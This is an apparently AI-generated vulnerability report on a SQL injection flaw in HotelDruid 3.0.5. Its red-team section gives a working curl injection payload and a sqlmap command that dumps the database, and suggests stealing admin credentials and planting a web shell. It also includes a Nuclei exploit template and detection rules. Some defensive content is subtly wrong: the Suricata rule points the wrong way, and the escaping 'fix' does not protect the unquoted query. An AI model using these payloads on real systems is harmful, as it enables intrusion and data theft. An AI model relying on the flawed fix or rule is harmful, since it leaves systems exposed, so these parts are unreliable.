CVE-2023-43374

Executive Summary

CVE-2023-43374 is a critical SQL injection vulnerability discovered in HotelDruid v3.0.5, a web-based hotel management application. The flaw resides in the id_utente_log parameter within the /hoteldruid/personalizza.php endpoint. An unauthenticated attacker can exploit this vulnerability by sending a crafted POST request, leading to time-based SQL injection. Successful exploitation could result in unauthorized access to sensitive data, including user credentials and hotel records, or complete system compromise. The vulnerability has a CVSS v3.1 score of 9.8 (Critical) and is publicly documented with a proof-of-concept (PoC) Nuclei template. No official patch has been released by the vendor as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential denial of service via heavy queries.

Threat Level: Critical. The vulnerability is trivial to exploit with publicly available PoC code, and the affected software is widely deployed in the hospitality industry.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id_utente_log parameter of the personalizza.php script. The application fails to sanitize user-supplied input before incorporating it into a SQL query. The provided Nuclei template demonstrates a time-based blind SQL injection technique using the SLEEP() function.

Technical Flow:

1. The attacker sends a POST request to /hoteldruid/personalizza.php with the following parameters:

   • aggiorna_qualcosa=SI
   • anno=2023
   • attiva_phpr_log=Enable
   • id_sessione=1
   • id_utente_log=0'+(SELECT 7151 FROM (SELECT(SLEEP(5)))EAXh)+'
   • id_utente_mod=1

2. The id_utente_log parameter value is injected directly into a SQL query without sanitization. The injected payload 0'+(SELECT 7151 FROM (SELECT(SLEEP(5)))EAXh)+' closes the original query string, appends a subquery that calls SLEEP(5), and then reopens the string.

3. If the database server executes the SLEEP(5) function, the response is delayed by 5 seconds, confirming the SQL injection vulnerability.

4. An attacker can then leverage this to extract data using boolean-based or time-based techniques, or potentially execute more advanced attacks like UNION-based injection or out-of-band data exfiltration.

Root Cause: Lack of input validation and parameterized queries in the personalizza.php script.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// personalizza.php (v3.0.5)
$id_utente_log = $_POST['id_utente_log'];
$query = "UPDATE utenti SET ... WHERE id_utente_log = $id_utente_log";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

// personalizza.php (Patched)
$id_utente_log = mysqli_real_escape_string($conn, $_POST['id_utente_log']);
// Or use prepared statements
$stmt = $conn->prepare("UPDATE utenti SET ... WHERE id_utente_log = ?");
$stmt->bind_param("i", $id_utente_log);
$stmt->execute();

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running HotelDruid v3.0.5.
• Network access to the /hoteldruid/personalizza.php endpoint.

Step 1: Verify Vulnerability Use the provided Nuclei template or a manual curl command.

Manual Exploit (Time-based):

curl -X POST http://target.com/hoteldruid/personalizza.php \
  -d "aggiorna_qualcosa=SI&anno=2023&attiva_phpr_log=Enable&id_sessione=1&id_utente_log=0'%2b(SELECT%207151%20FROM%20(SELECT(SLEEP(5)))EAXh)%2b'&id_utente_mod=1" \
  --max-time 10

If the response takes ~5 seconds, the target is vulnerable.

Step 2: Data Extraction Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/hoteldruid/personalizza.php" \
  --data="aggiorna_qualcosa=SI&anno=2023&attiva_phpr_log=Enable&id_sessione=1&id_utente_log=1&id_utente_mod=1" \
  -p id_utente_log --technique=T --dbms=mysql --batch --dump

Step 3: Post-Exploitation

• Extract admin credentials from the utenti table.
• Upload a web shell if file write permissions exist.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for POST requests to /hoteldruid/personalizza.php containing SQL keywords like SLEEP, UNION, SELECT, ', or --.
• Alert on response times exceeding normal thresholds (e.g., >3 seconds) for this endpoint.
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy HotelDruid instance and monitor for exploitation attempts.
• Log all POST parameters for forensic analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /hoteldruid/personalizza.php with id_utente_log containing SQL syntax.
• HTTP responses with delays >3 seconds from the vulnerable endpoint.
• User-Agent strings associated with automated tools (e.g., sqlmap, curl).

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified personalizza.php file (if attacker patches the vulnerability).

Log IOCs:

• MySQL error logs showing syntax errors near id_utente_log.
• Web server access logs with id_utente_log containing SLEEP, BENCHMARK, or WAITFOR.

Detection Engineering

YARA Rule

rule CVE_2023_43374_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-43374 in HotelDruid"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-43374"
        severity = "critical"
    strings:
        $s1 = "id_utente_log=" nocase
        $s2 = "SLEEP(" nocase
        $s3 = "SELECT" nocase
        $s4 = "UNION" nocase
        $s5 = "'" nocase
    condition:
        all of ($s1, $s2) or (all of ($s1, $s3, $s5))
}

Sigma Rule

title: SQL Injection Attempt Against HotelDruid personalizza.php
id: 8b89f014-0049-47e7-bd2e-cdacf1610cf9
status: experimental
description: Detects SQL injection attempts targeting the id_utente_log parameter in HotelDruid v3.0.5
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/hoteldruid/personalizza.php'
        cs-uri-query|contains: 'id_utente_log='
    keywords:
        - 'SLEEP('
        - 'WAITFOR'
        - 'BENCHMARK('
        - 'UNION SELECT'
        - "' OR '1'='1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in hotel names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-43374 - HotelDruid SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/hoteldruid/personalizza.php"; http_uri;
    content:"id_utente_log="; http_client_body;
    pcre:"/id_utente_log=[^&]*(SLEEP|WAITFOR|BENCHMARK|UNION|SELECT)/Pi";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2023-43374;
)

Nuclei Template (Provided)

id: CVE-2023-43374

info:
  name: Hoteldruid v3.0.5 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the id_utente_log parameter at /hoteldruid/personalizza.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data or complete takeover of the affected system.
  remediation: |
    Upgrade Hoteldruid to a patched version that addresses the SQL Injection vulnerability.
  reference:
    - https://flashy-lemonade-192.notion.site/SQL-injection-in-hoteldruid-version-3-0-5-via-id_utente_log-parameter-8b89f014004947e7bd2ecdacf1610cf9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43374
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43374
    cwe-id: CWE-89
    epss-score: 0.17195
    epss-percentile: 0.95037
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - title:"HotelDruid"
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="HotelDruid"
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: time-based-sqli,cve,cve2023,hoteldruid,cms,sqli,digitaldruid,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /hoteldruid/inizio.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "HotelDruid</a>"
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /hoteldruid/personalizza.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        aggiorna_qualcosa=SI&anno=2023&attiva_phpr_log=Enable&id_sessione=1&id_utente_log=0'%2b(SELECT%207151%20FROM%20(SELECT(SLEEP(5)))EAXh)%2b'&id_utente_mod=1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(body, "HotelDruid:")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, take the affected HotelDruid instance offline or restrict network access to trusted IPs only.
2. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns in the id_utente_log parameter.
3. Input Validation: Manually patch the personalizza.php file to use prepared statements or escape input with mysqli_real_escape_string().

Long-Term Fix:

• Upgrade: Monitor the HotelDruid vendor for an official patch. If none is released, consider migrating to an alternative hotel management solution.
• Code Audit: Conduct a full security audit of the application to identify similar vulnerabilities.
• Security Hardening: Implement a Content Security Policy (CSP), use HTTPS, and enforce least privilege for database users.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 67B04C8B9C330EF7FB24A19F] */}